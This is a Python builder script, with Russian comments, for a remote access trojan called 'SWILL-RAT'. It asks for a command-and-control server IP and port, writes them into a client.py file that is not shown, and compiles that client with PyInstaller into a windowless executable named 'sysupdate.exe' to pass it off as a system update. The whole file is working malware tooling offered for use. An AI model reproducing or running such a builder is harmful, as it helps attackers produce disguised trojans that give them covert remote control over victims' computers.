Загрузка данных


# builder.py - ИСПРАВЛЕННАЯ ВЕРСИЯ
import os
import sys
import subprocess
import shutil

def build_client(server_ip, server_port):
    # Проверяем существование client.py
    if not os.path.exists("client.py"):
        print("[-] Ошибка: файл client.py не найден!")
        return
    
    print("[+] Чтение client.py...")
    with open("client.py", "r", encoding='utf-8') as f:
        content = f.read()
    
    # Подстановка серверных настроек
    content = content.replace("SERVER_HOST = '127.0.0.1'", f"SERVER_HOST = '{server_ip}'")
    content = content.replace("SERVER_PORT = 4444", f"SERVER_PORT = {server_port}")
    
    # Сохраняем временный файл
    with open("client_built.py", "w", encoding='utf-8') as f:
        f.write(content)
    print("[+] Временный файл client_built.py создан")
    
    # Проверяем наличие pyinstaller
    try:
        # Пробуем найти pyinstaller
        import PyInstaller
        print("[+] PyInstaller найден")
    except ImportError:
        print("[-] PyInstaller НЕ УСТАНОВЛЕН!")
        print("[+] Установите: pip install pyinstaller")
        os.remove("client_built.py")
        return
    
    # Сборка EXE
    print("[+] Начинаем сборку...")
    try:
        subprocess.run([
            "pyinstaller", 
            "--onefile", 
            "--noconsole", 
            "--name", "sysupdate",
            "--clean",
            "client_built.py"
        ], check=True, capture_output=True, text=True)
        print("[+] Сборка завершена успешно!")
        print("[+] EXE файл находится в: dist\\sysupdate.exe")
        
        # Копируем в текущую папку
        if os.path.exists("dist\\sysupdate.exe"):
            shutil.copy2("dist\\sysupdate.exe", "sysupdate.exe")
            print("[+] Файл скопирован в текущую папку: sysupdate.exe")
        
    except subprocess.CalledProcessError as e:
        print(f"[-] Ошибка сборки: {e}")
        print(f"[-] Вывод: {e.stdout}")
        print(f"[-] Ошибка: {e.stderr}")
    except FileNotFoundError:
        print("[-] PyInstaller не найден в PATH!")
        print("[+] Попробуйте использовать полный путь:")
        print("    python -m PyInstaller --onefile --noconsole --name sysupdate client_built.py")
    
    # Удаляем временный файл
    if os.path.exists("client_built.py"):
        os.remove("client_built.py")
        print("[+] Временный файл удалён")

def install_pyinstaller():
    """Автоматическая установка PyInstaller если его нет"""
    try:
        print("[+] Попытка установить PyInstaller...")
        subprocess.run([sys.executable, "-m", "pip", "install", "pyinstaller"], 
                      check=True, capture_output=True)
        print("[+] PyInstaller установлен успешно!")
        return True
    except:
        print("[-] Не удалось установить PyInstaller автоматически")
        print("[+] Установите вручную: pip install pyinstaller")
        return False

if __name__ == "__main__":
    print("=" * 50)
    print("SWILL-RAT BUILDER v2.0")
    print("=" * 50)
    
    # Проверка наличия PyInstaller
    try:
        import PyInstaller
        print("[+] PyInstaller уже установлен")
    except ImportError:
        print("[-] PyInstaller не найден!")
        choice = input("[+] Установить автоматически? (y/n): ")
        if choice.lower() == 'y':
            if not install_pyinstaller():
                sys.exit(1)
    
    server_ip = input("IP сервера C2 (только IP, без порта): ").strip()
    if not server_ip:
        server_ip = "127.0.0.1"
        print(f"[+] Используем IP по умолчанию: {server_ip}")
    
    # Проверка на ввод с портом
    if ":" in server_ip:
        print("[-] Ошибка: введите ТОЛЬКО IP (например: 127.0.0.1 или 192.168.1.100)")
        print("[-] Порт вводится отдельно!")
        sys.exit(1)
    
    server_port = input("Порт сервера C2 (по умолчанию 4444): ").strip()
    if not server_port:
        server_port = "4444"
    
    try:
        server_port = int(server_port)
    except:
        print("[-] Неверный порт! Использую 4444")
        server_port = 4444
    
    print(f"\n[+] Настройки:")
    print(f"    IP: {server_ip}")
    print(f"    Port: {server_port}")
    print()
    
    build_client(server_ip, server_port)
    
    input("\n[+] Нажмите Enter для выхода...")